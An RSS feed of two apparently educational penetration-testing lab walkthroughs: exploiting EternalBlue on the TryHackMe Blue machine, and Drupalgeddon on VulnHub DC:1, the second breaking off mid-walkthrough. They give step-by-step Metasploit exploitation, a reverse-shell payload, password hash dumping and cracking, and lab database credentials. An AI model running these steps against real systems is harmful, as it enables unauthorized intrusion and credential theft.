<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nandana Ajilal on Medium]]></title>
        <description><![CDATA[Stories by Nandana Ajilal on Medium]]></description>
        <link>https://medium.com/@nandanaajilal?source=rss-e056f59c0e4b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*wqXrTy-B8VxYz-xs</url>
            <title>Stories by Nandana Ajilal on Medium</title>
            <link>https://medium.com/@nandanaajilal?source=rss-e056f59c0e4b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 14:34:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nandanaajilal/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe: Blue Walkthrough | Exploiting EternalBlue (MS17–010) to Gain SYSTEM Access]]></title>
            <link>https://medium.com/@nandanaajilal/tryhackme-blue-walkthrough-exploiting-eternalblue-ms17-010-to-gain-system-access-721514078e66?source=rss-e056f59c0e4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/721514078e66</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[eternalblue-exploit]]></category>
            <category><![CDATA[eternalblue]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[windows7vuln]]></category>
            <dc:creator><![CDATA[Nandana Ajilal]]></dc:creator>
            <pubDate>Fri, 17 Jul 2026 16:33:42 GMT</pubDate>
            <atom:updated>2026-07-17T16:33:42.861Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Xf_L15vvRYcY6SHh2GZKQ.png" /></figure><h3>Introduction</h3><p>The <strong>TryHackMe Blue</strong> room is a beginner-friendly Windows exploitation challenge that demonstrates how attackers can compromise an unpatched Windows machine using the infamous <strong>EternalBlue (MS17–010)</strong> vulnerability. Inspired by the real-world exploit leveraged during the WannaCry ransomware outbreak, this room provides hands-on experience with Windows enumeration, SMB exploitation, privilege escalation, password hash extraction, and post-exploitation using Metasploit.</p><blockquote><strong><em>Note:</em></strong><em> During this walkthrough, the TryHackMe Blue machine experienced deployment issues in the online lab environment. To continue the exercise, I downloaded the vulnerable virtual machine provided by the room and ran it locally using VirtualBox. All exploitation steps, commands, and objectives remain the same as the original TryHackMe Blue room.</em></blockquote><blockquote><em>Link: </em><a href="https://drive.google.com/file/d/1qfBV4iXlFwqtAFT-45DDE6pgvoFvc3a_/view?usp=drive_link">https://drive.google.com/file/d/1qfBV4iXlFwqtAFT-45DDE6pgvoFvc3a_/view?usp=drive_link</a></blockquote><h3>Task 1 — Recon</h3><p>In the TryHackMe Blue room, the first three questions can be answered after performing an Nmap scan.</p><p><strong>Q1)Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap room)</strong></p><p><strong>A1)No Answer Needed</strong></p><h3>Step 1: Network Discovery</h3><p>First, identify the target machine’s IP address on the local network using <strong>Netdiscover</strong>.</p><h3>Command:</h3><pre>sudo netdiscover</pre><p>This scans the local network and lists active hosts. From the output, identify the IP address assigned to the <strong>TryHackMe Blue</strong> virtual machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*cllCjULuQnnMXlQnQR8y6Q.png" /><figcaption>Figure 1. Network Discovery using Netdiscover</figcaption></figure><h3>Step 2: Port Scanning with Nmap</h3><p>After identifying the target IP address, perform an Nmap scan to enumerate the open ports and running services.</p><pre>nmap -A &lt;TARGET_IP&gt;</pre><p>The -A option enables OS detection, version detection, default script scanning, and traceroute, providing detailed information about the target.</p><p>The scan revealed <strong>three open ports below port 1000</strong>:</p><ul><li><strong>135/tcp</strong> — Microsoft RPC</li><li><strong>139/tcp</strong> — NetBIOS Session Service</li><li><strong>445/tcp</strong> — Microsoft SMB</li></ul><p>Therefore, the answer to the task is:</p><p><strong>Q2)How many ports are open with a port number under 1000?</strong></p><p><strong>A2) 3</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*M7DCOM0C-9mOfWlMuUmThA.png" /><figcaption>Figure 2. Nmap Scan Results Showing Open Ports</figcaption></figure><h3>Step 3: Vulnerability Detection</h3><p>After identifying the SMB service on <strong>port 445</strong>, run the <strong>Nmap NSE vulnerability script</strong> to check whether the target is affected by the EternalBlue vulnerability.</p><pre>nmap --script vuln &lt;TARGET_IP&gt;</pre><p><strong>Q3)What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08–067)</strong></p><p><strong>Answer: ms17–010</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*zCKcKoh9u5kbQswZ9bOtSw.png" /><figcaption>Figure 3. Nmap NSE Scan Confirming MS17–010 Vulnerability</figcaption></figure><p>The scan confirms that the target is vulnerable to MS17–010, a critical SMB vulnerability that allows remote code execution on unpatched Windows systems.</p><h3>Task 2 — Gain Access</h3><p>After confirming that the target is vulnerable to MS17–010 (EternalBlue), the next step is to exploit the vulnerability using the Metasploit Framework. EternalBlue is a remote code execution vulnerability in Microsoft’s SMBv1 protocol that allows an attacker to execute arbitrary code on an unpatched Windows machine.</p><p><strong>Q1)Start Metasploit</strong></p><p><strong>A1)No Answer Needed</strong></p><h3>Step 1: Start Metasploit</h3><p>Launch the Metasploit Framework:</p><pre>msfconsole</pre><p>Wait for Metasploit to load before searching for the EternalBlue exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EatKrV1tJbwG4FRFiTfRoA.png" /><figcaption>Figure 4. Launching Metasploit Framework</figcaption></figure><h3>Step 2: Search for the EternalBlue Exploit</h3><p>Search Metasploit for modules related to <strong>MS17–010</strong>:</p><pre>search ms17-010</pre><p><strong>Q2)Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/……..)</strong></p><p><strong>A2) exploit/windows/smb/ms17_010_eternalblue</strong></p><p>Several modules are displayed. Select the <strong>Windows SMB EternalBlue</strong> exploit module.</p><pre>use exploit/windows/smb/ms17_010_eternalblue</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EatKrV1tJbwG4FRFiTfRoA.png" /><figcaption>Figure 5. Searching and Selecting the EternalBlue Exploit Module</figcaption></figure><h3>Step 3: Configure the Exploit</h3><p>View the required options:</p><pre>show options</pre><p>Configure the target IP address:</p><p><strong>Q3) Show options and set the one required value. What is the name of this value? (All caps for submission)</strong></p><p><strong>A3) RHOSTS</strong></p><pre>set RHOSTS &lt;TARGET_IP&gt;</pre><p>If necessary, set your attacker’s IP address:</p><pre>set LHOST &lt;YOUR_IP&gt;</pre><p>Verify the configuration:</p><pre>show options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pR1PPo1DFisiUGc8PLQonw.png" /><figcaption>Figure 6. Configuring the Exploit Options</figcaption></figure><p>Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter:</p><pre>set payload windows/x64/shell/reverse_tcp</pre><h3>Step 4: Exploit the Target</h3><p>Execute the exploit:</p><pre>run</pre><p>If the exploit is successful, Metasploit opens a <strong>Meterpreter session</strong>, giving remote access to the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MW4Hd8oQOm2v_RXfhJIqNw.png" /><figcaption>Figure 7. Successful Meterpreter Session with SYSTEM Access</figcaption></figure><p>Q<strong>4) &amp; Q5) : No Answer Needed</strong></p><h3>Task 3 — Escalate</h3><p>After successfully exploiting the target with the EternalBlue module, a Meterpreter session is opened. In most cases, the exploit already grants <strong>NT AUTHORITY\SYSTEM</strong> privileges, which is the highest privilege level on a Windows system. This allows unrestricted access to the operating system and enables actions such as dumping password hashes and accessing protected files.</p><h3>Step 1: Background the Shell</h3><p>Press <strong>Ctrl + Z</strong> and confirm:</p><pre>Background session 1? [y/N] y</pre><p>This returns you to the Metasploit console while keeping the shell session active.</p><h3>Step 2: Search for the Shell Upgrade Module</h3><p>Search for the module that upgrades a command shell to a Meterpreter session:</p><pre>search shell_to_meterpreter</pre><p>The search returns:</p><pre>post/multi/manage/shell_to_meterpreter</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*iFOHLEx7DRgEe3dJl3bU3Q.png" /><figcaption>Figure 8. Searching for the Shell-to-Meterpreter Module</figcaption></figure><p><strong>Q1) If you haven’t already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)</strong></p><p><strong>A1) post/multi/manage/shell_to_meterpreter</strong></p><p><strong>Q2)Select this (use MODULE_PATH). Show options, what option are we required to change?</strong></p><p><strong>A2)SESSION</strong></p><p><strong>No Answers Needed for Further Questions In Task 3.</strong></p><h3><strong>Task 4 — Cracking</strong></h3><p>After successfully upgrading to a Meterpreter session and obtaining SYSTEM privileges, the next step is to dump the password hashes stored in the Windows Security Account Manager (SAM) database. These hashes can then be cracked to recover the user’s plaintext password.</p><h3>Step 1: Dump the Password Hashes</h3><p>Within the elevated Meterpreter session, execute:</p><pre>hashdump</pre><p>The hashdump command extracts the LM and NTLM password hashes of all local user accounts from the SAM database. This command requires administrative or SYSTEM privileges.</p><p>The output includes both the built-in Windows accounts and any additional local user accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*4vHgHQLhLC8sh-0kGSXR6Q.png" /><figcaption>Figure 9. Dumping Windows Password Hashes Using Meterpreter</figcaption></figure><h3>Step 2: Identify the Non-Default User</h3><p>Review the hashdump output and look for the account that is <strong>not</strong> one of the default Windows accounts (such as Administrator, Guest, or DefaultAccount).</p><p>The non-default user is:</p><p><strong>Answer:</strong> Jon</p><p><strong>Q1) Within our elevated meterpreter shell, run the command ‘hashdump’. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?</strong></p><p><strong>A1) Jon</strong></p><h3>Step 3: Crack the Password</h3><p>Used Hashes.com to crack the password.</p><p>Link: <a href="https://hashes.com/en/decrypt/hash">https://hashes.com/en/decrypt/hash</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cRUEHHj2Pkf4fXVZt8envw.png" /><figcaption>Figure 10. Successfully Cracked Password Using Hashes.com</figcaption></figure><p>Cracked Password Hash</p><pre>ffb43f0de35be4d9917ac0cc8ad57f8d:alqfna22</pre><p><strong>Q2) Copy this password hash to a file and research how to crack it. What is the cracked password?</strong></p><p><strong>A2) alqfna22</strong></p><h3>Task 5 — Find the Flags</h3><p>With <strong>SYSTEM</strong> privileges and the recovered credentials, the final objective is to locate the three flags hidden on the Windows machine. These flags are stored in different user directories and system locations, requiring basic Windows filesystem navigation.</p><h3>Step 1: Enumerate the System Root Directory</h3><p>After gaining a <strong>Meterpreter</strong> session with <strong>NT AUTHORITY\SYSTEM</strong> privileges, the first objective is to locate <strong>Flag 1</strong>, which is stored in the system root directory (C:\).</p><p>List the contents of the current directory using:</p><pre>ls</pre><p>The ls command displays all files and directories in the current location. From the output, the file <strong>flag1.txt</strong> can be seen in the root of the C:\ drive, confirming its location.</p><h3>Step 2: Read Flag 1</h3><p>Once the flag file has been identified, display its contents using:</p><pre>cat flag1.txt</pre><p>Flag 1:</p><pre>flag{access_the_machine}</pre><p>The cat command reads and prints the contents of a file directly within the Meterpreter session. Executing this command reveals the first flag, completing the initial objective of the room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*TPzBpQbIK6Gu7ClHTGOOmQ.png" /><figcaption>Figure 11. Retrieving Flag 1 from the System Root Directory</figcaption></figure><p><strong>Q1) Flag1? <em>This flag can be found at the system root.</em></strong></p><p><strong>A1)flag{access_the_machine}</strong></p><p>For <strong>Flag 2</strong>, the hint says it is located where <strong>Windows stores password-related files</strong>, which is the <strong>C:\Windows\System32\config</strong> directory. This directory contains the <strong>SAM (Security Account Manager)</strong> and other registry hive files that store local user account information and password hashes. Since you already have <strong>SYSTEM</strong> privileges, you can access this protected location.</p><h3>Step 3: Navigate to the Windows Configuration Directory</h3><p>The second flag is stored in the <strong>Windows configuration directory</strong>, which contains important registry hive files such as the <strong>SAM</strong> database used to store local user account information and password hashes.</p><p>Navigate to the directory using:</p><pre>cd C:\\Windows\\System32\\config</pre><p>The cd command changes the current working directory to C:\Windows\System32\config, allowing access to files stored in this protected system location.</p><p>List the files to verify that <strong>flag2.txt</strong> is present:</p><pre>ls</pre><p>The ls command displays the contents of the current directory, where flag2.txt should appear alongside the Windows configuration files.</p><p><strong>Figure 17. Enumerating the Windows Configuration Directory</strong></p><h3>Step 4: Retrieve Flag 2</h3><p>After confirming the presence of the flag, display its contents using:</p><pre>cat flag2.txt</pre><p>The cat command reads the contents of the file and prints the second flag directly in the Meterpreter session.</p><p>Flag 2:</p><pre>flag{sam_database_elevated_access}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZozPZrbxY4szx_aIRx71vg.png" /><figcaption>Figure 12. Retrieving Flag 2 from the Windows Configuration Directory</figcaption></figure><p><strong>Q2) Flag2? <em>This flag can be found at the location where passwords are stored within Windows.</em></strong></p><p><strong>A2) flag{sam_database_elevated_access}</strong></p><h3>Step 5: Navigate to Jon’s Documents Directory</h3><p>Since I’m using the <strong>downloadable VM</strong>, the location of <strong>Flag 3</strong> is:</p><pre>C:\Users\Jon\Documents\flag3.txt</pre><p>The final flag is stored in the <strong>Documents</strong> folder of the <strong>Jon</strong> user. With <strong>NT AUTHORITY\SYSTEM</strong> privileges, protected user directories can be accessed without any restrictions.</p><p>Navigate to the directory using:</p><pre>cd C:\\Users\\Jon\\Documents</pre><p>The cd command changes the current working directory to <strong>Jon&#39;s Documents</strong> folder, where the final flag is located.</p><p>Verify the contents of the directory:</p><pre>ls</pre><p>The ls command lists all files in the current directory. The output reveals the presence of <strong>flag3.txt</strong>.</p><h3>Step 6: Retrieve Flag 3</h3><p>Display the contents of the final flag using:</p><pre>cat flag3.txt</pre><p>The cat command reads and displays the contents of <strong>flag3.txt</strong>, revealing the final flag and completing the TryHackMe Blue room.</p><p>Flag 3:</p><pre>flag{admin_documents_can_be_valuable}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*78DIROizZ4SmoLAWmFfCNQ.png" /><figcaption>Figure 13. Retrieving Flag 3 from Jon’s Documents Directory</figcaption></figure><p><strong>Q3)flag3? <em>This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.</em></strong></p><p><strong>A3) flag{admin_documents_can_be_valuable}</strong></p><h3><strong>Conclusion</strong></h3><p>The <strong>TryHackMe Blue</strong> room provided practical experience in exploiting the <strong>MS17–010 (EternalBlue)</strong> vulnerability against an unpatched Windows system. Throughout this walkthrough, I performed reconnaissance, identified the SMB vulnerability, gained remote access using Metasploit, upgraded to a Meterpreter session, dumped and cracked Windows password hashes, and successfully retrieved all three flags. This room is an excellent introduction to Windows exploitation and post-exploitation techniques, while emphasizing the importance of keeping systems patched to prevent critical vulnerabilities like EternalBlue.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=721514078e66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DC:1 (VulnHub) Walkthrough | From Drupal Exploitation to Root | by Nandana Ajilal]]></title>
            <link>https://medium.com/@nandanaajilal/dc-1-vulnhub-walkthrough-from-drupal-exploitation-to-root-by-nandana-ajilal-acb4692fac4c?source=rss-e056f59c0e4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/acb4692fac4c</guid>
            <category><![CDATA[dc-1]]></category>
            <category><![CDATA[vulnhub-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[vulnhub-dc-serie]]></category>
            <dc:creator><![CDATA[Nandana Ajilal]]></dc:creator>
            <pubDate>Thu, 16 Jul 2026 17:36:33 GMT</pubDate>
            <atom:updated>2026-07-16T17:36:33.988Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JEtN1gGeEBdCf92ksGz9xQ.png" /></figure><h3>Introduction</h3><p>DC:1 is a beginner-friendly boot-to-root machine from VulnHub designed to teach web application enumeration, CMS exploitation, Linux privilege escalation, and basic post-exploitation techniques. The target primarily focuses on exploiting a vulnerable Drupal installation before escalating privileges to obtain root access.</p><blockquote><strong><em>Disclaimer:</em></strong><em> This walkthrough is provided for educational and ethical learning purposes only. All activities were performed on the </em><strong><em>DC:1</em></strong><em> machine from </em><strong><em>VulnHub</em></strong><em> within a controlled lab environment. Do not use the techniques or commands described in this guide against systems or networks without explicit authorization. The author assumes no responsibility for any misuse of the information presented.</em></blockquote><h3>Machine Information</h3><p><strong>Platform:</strong> VulnHub</p><p><strong>Link: </strong><a href="https://download.vulnhub.com/dc/DC-1.zip">https://download.vulnhub.com/dc/DC-1.zip</a></p><p><strong>Difficulty Level:</strong> Beginner</p><p><strong>Operating System:</strong> Linux</p><p><strong>Challenge</strong>: 5 flags</p><p><strong>Focus Areas:</strong></p><ul><li>Network and Web Enumeration</li><li>Drupal CMS Identification</li><li>Linux Privilege Escalation</li></ul><h3>Lab Setup</h3><p>The target machine was deployed locally in VirtualBox and connected to the attacker machine (Kali Linux) using a Host-Only network.</p><p><strong>Attacker Machine:</strong></p><ul><li>Kali Linux</li></ul><p><strong>Target Machine:</strong></p><ul><li>DC-1</li></ul><h3>Step 1 : Discover the Target</h3><p>Since the target machine was hosted in a virtual machine, the first task was to identify its IP address on the local virtual network. Once the machine booted, it was assigned an IP address by the virtual network, which was required before any further enumeration could begin.</p><h3>Command:</h3><pre>sudo netdiscover</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*N-nhDrmM8qrnXEFCJKSsDQ.png" /><figcaption>Figure 1: Host Discovery Using Netdiscover</figcaption></figure><h3>Step 2 : Port Scanning</h3><p>I performed a Nmap scan to identify open ports.</p><h3>Command:</h3><pre>nmap &lt;TARGET_IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*1_-Ruz_BUgtReBXuAoCCZA.png" /><figcaption>Figure 2: Nmap Port Scan Identifying Open Services</figcaption></figure><p>The open ports are:</p><ul><li><strong>Port 22 (SSH):</strong> Running the Secure Shell (SSH) service, which allows secure remote access to the system. This service may become useful if valid credentials are obtained later during the assessment.</li><li><strong>Port 80 (HTTP):</strong> Hosting a web server that serves the target’s website. Since web applications are common attack surfaces, this port becomes the primary focus for further enumeration.</li><li><strong>Port 111 (RPCBind):</strong> Running the Remote Procedure Call (RPC) service, which maps RPC services to network ports. While commonly found on Linux systems, it is not immediately exploitable in this challenge.</li></ul><h3>Step 3: Vulnerability Assessment with Nmap NSE Scripts</h3><p>During the initial enumeration, the available services did not provide an immediate entry point. The SSH service on <strong>port 22</strong> required valid credentials, preventing direct access, while the HTTP service did not reveal any useful information through basic manual enumeration. Common checks such as browsing the website and inspecting the homepage did not expose any obvious vulnerabilities or sensitive information.</p><p>Since no clear attack vector was identified, a vulnerability scan was performed using Nmap’s NSE (Nmap Scripting Engine) vulnerability scripts.</p><p><strong>Command</strong></p><pre>nmap -script vuln &lt;Target-IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*gPbk03sQBORE2GaNrvooHg.png" /><figcaption><em>Figure 3: Nmap NSE Vulnerability Scan</em></figcaption></figure><p>This command executes a collection of Nmap vulnerability detection scripts against the target, checking for known security issues in the exposed services. Running the scan helps identify potential vulnerabilities that may not be apparent during basic enumeration and can provide a direction for further exploitation.</p><h3>Nmap Vulnerability Scan Result</h3><p>The Nmap NSE vulnerability scan identified the following finding:</p><pre>http-vuln-cve2014-3704:<br>| VULNERABLE:<br>| Drupal - Pre-Authentication SQL Injection Vulnerability</pre><h3>Explanation</h3><p>The scan indicates that the web application is running a vulnerable version of <strong>Drupal</strong> affected by <strong>CVE-2014–3704</strong>, commonly known as <strong>Drupalgeddon</strong>. This is a critical pre-authentication SQL injection vulnerability that allows an attacker to execute arbitrary SQL queries without requiring valid login credentials.</p><p>Because the vulnerability can be exploited remotely and does not require authentication, it provides a promising attack vector for gaining initial access to the target system. Based on this result, the next step is to verify the Drupal version and use an appropriate exploit to obtain a shell on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p5xF1HX2s3dIDKK8KRys_Q.png" /><figcaption><em>Figure 4: Nmap Detects Drupal SQL Injection Vulnerability (CVE-2014–3704)</em></figcaption></figure><h3>Step 4: Searching for a Public Exploit</h3><p>Since the target did not provide any valid login credentials for the SSH service and the web application did not expose a direct method for gaining access, the next step was to search for publicly available exploits.</p><p>To do this, <strong>Searchsploit</strong> was used.</p><p>Searchsploit is a command-line utility that allows security researchers and penetration testers to search the local <strong>Exploit Database (Exploit-DB)</strong> for known exploits without requiring an internet connection. It helps identify whether a vulnerability discovered during enumeration has an existing proof-of-concept exploit.</p><h3>Command</h3><pre>searchsploit drupal</pre><h3>Explanation</h3><p>The command searches the Exploit-DB repository for exploits related to <strong>Drupal</strong>. Since the previous Nmap vulnerability scan identified a vulnerable Drupal installation, using Searchsploit helps determine whether a matching exploit is publicly available. Finding a suitable exploit confirms that the identified vulnerability can potentially be leveraged to gain initial access to the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H8pPpkS8TxLtzkvESkpy1A.png" /><figcaption><em>Figure 5: Searching Exploit-DB for Drupal Exploits</em></figcaption></figure><h3>Step 4: Exploiting the Vulnerability Using Metasploit</h3><p>After confirming that the target was vulnerable to <strong>CVE-2014–3704 </strong>, the <strong>Metasploit Framework</strong> was used to exploit the vulnerability and gain initial access to the system.</p><h3>Launch the Metasploit Framework</h3><h3><strong>Command:</strong></h3><pre>msfconsole</pre><p>This command starts the Metasploit Framework and opens the interactive console used for exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*lKfXzjktGe_B6buZyGJf7g.png" /><figcaption>Figure 6: Launching the Metasploit Framework</figcaption></figure><h3>Search for Drupal Exploit Modules</h3><h3>Command:</h3><pre>search CVE-2014-3704</pre><p>This command searches the Metasploit database for all exploit modules related to Drupal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pUHwiQVWiwkpqN4jyTGMrQ.png" /><figcaption>Figure 7: Metasploit Search Results for Drupal Exploits</figcaption></figure><h3>Load the Exploit Module</h3><h3><strong>Command:</strong></h3><p>Use the module number</p><pre>use 0</pre><p>or the version</p><pre>use exploit/unix/webapp/drupal_drupalgeddon</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gjBSYe2J7RZ12omvgnR6pA.png" /><figcaption>Figure 8: Loading the Metasploit Exploit Module</figcaption></figure><p>This command loads the Drupal exploit module into the current Metasploit session.</p><h3>View the Required Configuration Options</h3><p><strong>Command:</strong></p><pre>options</pre><p>This command displays all required and optional parameters that must be configured before running the exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a4GV9Mq3Zc5BoDDCPqTEvw.png" /><figcaption>Figure 8: Loading the Metasploit Exploit Module</figcaption></figure><h3>Set the Target IP Address</h3><p>At this stage, the target host (RHOSTS) was not configured and needed to be specified before running the exploit.</p><p><strong>Command:</strong></p><pre>set RHOSTS &lt;Target-IP&gt;</pre><p>This command specifies the IP address of the vulnerable target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFNBbFeJjBkYnGkPZbUpjg.png" /><figcaption>Figure 9: Setting the Target IP Address</figcaption></figure><h3>Execute the Exploit</h3><p><strong>Command:</strong></p><pre>run</pre><p>This command launches the exploit against the configured target. If successful, Metasploit opens a shell session, providing initial access to the vulnerable system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iZNnSpvuFsd8EFsus5tzHA.png" /><figcaption>Figure 10: Successful Exploitation and Meterpreter Session</figcaption></figure><blockquote>Metasploit is used to load, configure, and execute the Drupal exploit module, resulting in successful initial access to the vulnerable target.</blockquote><h3>Step 5: Exploring the Initial Shell &amp; Capturing the First Flag</h3><p>After successfully exploiting the Drupal vulnerability, a <strong>Meterpreter session</strong> was established, providing initial access to the target system. The next step was to identify the current working directory and inspect its contents.</p><h3>Check the Current Working Directory</h3><h3><strong>Command:</strong></h3><pre>pwd</pre><p>The pwd command displays the current location of the Meterpreter session. In this case, the session starts in the <strong>/var/www</strong> directory, which contains the Drupal web application files.</p><h3>List Directory Contents</h3><h3><strong>Command:</strong></h3><pre>ls</pre><p>The ls command lists all files and directories in the current location.</p><p>During the directory listing, a file named <strong>flag1.txt</strong> is also visible, indicating the location of the first challenge flag.</p><h3><strong>Command:</strong></h3><pre>cat flag1.txt</pre><h3>Explanation</h3><p>The cat command is used to display the contents of a file directly in the terminal. Reading flag1.txt reveals the first hint provided by the challenge:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Zc9GZbc0RvK22JHIv3prQ.png" /><figcaption>Figure 11: Reading the First Flag and Configuration Hint</figcaption></figure><blockquote>FLAG 1</blockquote><blockquote>“Every good CMS needs a config file — and so do you.”</blockquote><p>Rather than being the final objective, this message serves as a clue, directing attention toward the Drupal configuration files. Configuration files often contain sensitive information such as database credentials, usernames, and passwords, making them valuable targets during post-exploitation.</p><h3>Step 6: Inspecting the Drupal Configuration File</h3><p>The message in <strong>flag1.txt</strong> suggested that the Drupal configuration file contained valuable information. In Drupal 7, the primary configuration file is <strong>settings.php</strong>, which stores important application settings, including database connection details.</p><h3>Navigate to the Configuration Directory</h3><h3>Path:</h3><pre>/var/www/sites/default/settings.php</pre><p>From your current location (/var/www), you can access it using:</p><pre>cd sites/default</pre><pre>ls</pre><p>You should see:</p><pre>default.settings.php<br>settings.php<br>files/</pre><p>Change file permission if required:</p><pre>chmod 777 settings.php</pre><p>Now read the file:</p><pre>cat settings.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*5H3q0pwtwF8UkKVmcK5aJw.png" /><figcaption>Figure 11: Flag 2 Extraction and Hint: Database Credentials from Drupal settings.php</figcaption></figure><blockquote>FLAG 2 (HINTS)</blockquote><blockquote>* flag2<br> * Brute force and dictionary attacks aren’t the<br> * only ways to gain access (and you WILL need access).<br> * What can you do with these credentials?<br><br> ‘database’ =&gt; ‘drupaldb’,<br> ‘username’ =&gt; ‘dbuser’,<br> ‘password’ =&gt; ‘R0ck3t’,</blockquote><h3>Step 7: Upgrading the Meterpreter Session</h3><p><strong>Objective:</strong> Obtain a fully interactive shell to improve command execution and locate the third flag.</p><h3>Description</h3><p>The initial Meterpreter session had limitations when interacting with the target system. To gain a more stable and interactive terminal, the <strong>HackTool</strong> extension was loaded, and a command shell was spawned. The shell was then upgraded to a TTY, allowing Linux commands to execute more reliably during post-exploitation.</p><p>Load the HackTool in extension of your browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*5ValGFbb-KVcNymbBXtcrA.png" /><figcaption>Figure 12: Hack-Tools Extension Used During Web Exploitation</figcaption></figure><p>Spawn a command shell:</p><pre>shell</pre><p>Upgrade to a TTY shell:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>If Python 3 is unavailable:</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*bzhZZFOZ4mK12mYLlU0pYQ.png" /><figcaption>Figure 13: Upgrading the Meterpreter Shell to a Fully Interactive TTY</figcaption></figure><p>After extracting the database credentials from the settings.php file, a proper TTY shell was obtained to provide a more stable interactive terminal. This allowed the MySQL client to be used to authenticate with the Drupal database using the recovered credentials, enabling further enumeration and access to information required for the next stage.</p><h3>Step 8: Logging into the MySQL Database</h3><p>With the database credentials extracted from the Drupal settings.php file, the next step was to authenticate to the MySQL database and enumerate its contents.</p><p>Connect to the database using the recovered credentials:</p><pre>mysql -u dbuser -p </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rlWEx63SyCGxFB1DWZUk6Q.png" /><figcaption>Figure 14: Successful Authentication to the MySQL Database</figcaption></figure><p>The database credentials extracted from the Drupal configuration file were used to successfully log in to the MySQL server. This provided direct access to the application’s database for further enumeration.</p><h3>Step 9: Navigating the MySQL Database</h3><p>After successfully logging into the MySQL server, the next step was to explore the available databases and inspect the Drupal database for useful information.</p><h3>List Available Databases</h3><p>Run the following command to display all databases on the MySQL server:</p><pre>SHOW DATABASES;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*6TjbXYuuWVZjEw546IIhlA.png" /><figcaption>Figure 15: Listing Available MySQL Databases</figcaption></figure><p>This command lists every database accessible to the current user. The target Drupal database, drupaldb, is visible among the available databases.</p><h3>Select the Drupal Database</h3><p>Switch to the Drupal database:</p><pre>USE drupaldb;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*n5azLfU2_sA_qQJZhblqiA.png" /><figcaption>Figure 16: Selecting the Drupal Database</figcaption></figure><p>A successful response confirms that subsequent queries will be executed against the Drupal database.</p><h3>List Database Tables</h3><p>Display all tables within the selected database:</p><pre>SHOW TABLES;</pre><p>This reveals the database structure, including tables containing user accounts, configuration settings, sessions, and other application data that may assist in further 